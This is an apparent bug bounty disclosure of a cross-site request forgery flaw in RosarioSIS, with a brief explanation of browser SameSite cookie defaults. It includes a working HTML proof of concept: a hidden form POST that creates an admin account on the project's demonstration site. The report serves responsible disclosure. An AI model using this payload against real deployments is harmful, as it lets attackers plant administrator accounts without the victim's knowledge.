Cross-Site Request Forgery (CSRF) in francoisjacquet/rosariosis
Reported on
Jul 28th 2021
✍️ Description
When you don't set the SameSite attribute of cookies the browsers have special act in front of this issue.(I mean set default value on it) chrome and chromium based browsers set the attribute "Lax" that mean if you do add/delete/alter operation in a get HTTP request then your site more vulnerable with CSRF attacks.
But Firefox and safari ( one of big ones ) don't set this attribute to "Lax" and set it to "none" that makes all POST and GET requests more Vulnerable to CSRF attack.
In Firefox and Safari I can add any custom user With CSRF that users already allowed manually do it.
🕵️♂️ Proof of Concept
// PoC.html
<html>
<body>
<script>history.pushState('', '', '/')</script>
<form action="https://www.rosariosis.org/demonstration/Modules.php?modname=Users/User.php&category_id=1&staff_id=&modfunc=update" method="POST" enctype="multipart/form-data">
<input type="hidden" name="photo" value="" />
<input type="hidden" name="staff[TITLE]" value="" />
<input type="hidden" name="staff[FIRST_NAME]" value="aaa" />
<input type="hidden" name="staff[MIDDLE_NAME]" value="" />
<input type="hidden" name="staff[LAST_NAME]" value="aaa" />
<input type="hidden" name="staff[NAME_SUFFIX]" value="" />
<input type="hidden" name="staff[USERNAME]" value="aaa123aaa" />
<input type="hidden" name="staff[PASSWORD]" value="aaa123aaa" />
<input type="hidden" name="staff[PROFILE]" value="admin" />
<input type="hidden" name="staff[PROFILE_ID]" value="" />
<input type="hidden" name="staff[SCHOOLS][1]" value="" />
<input type="hidden" name="staff[EMAIL]" value="" />
<input type="hidden" name="staff[CUSTOM_200000001]" value="" />
<input type="submit" value="Submit request" />
</form>
</body>
</html>
Here you should run PoC.html, after click on button you can see an admin user with name equals to aaa
have been created.
💥 Impact
This vulnerability is capable of add any custom user.
Occurrences
Hey amammad, I've reached out to the rosariosis team. Waiting to hear back.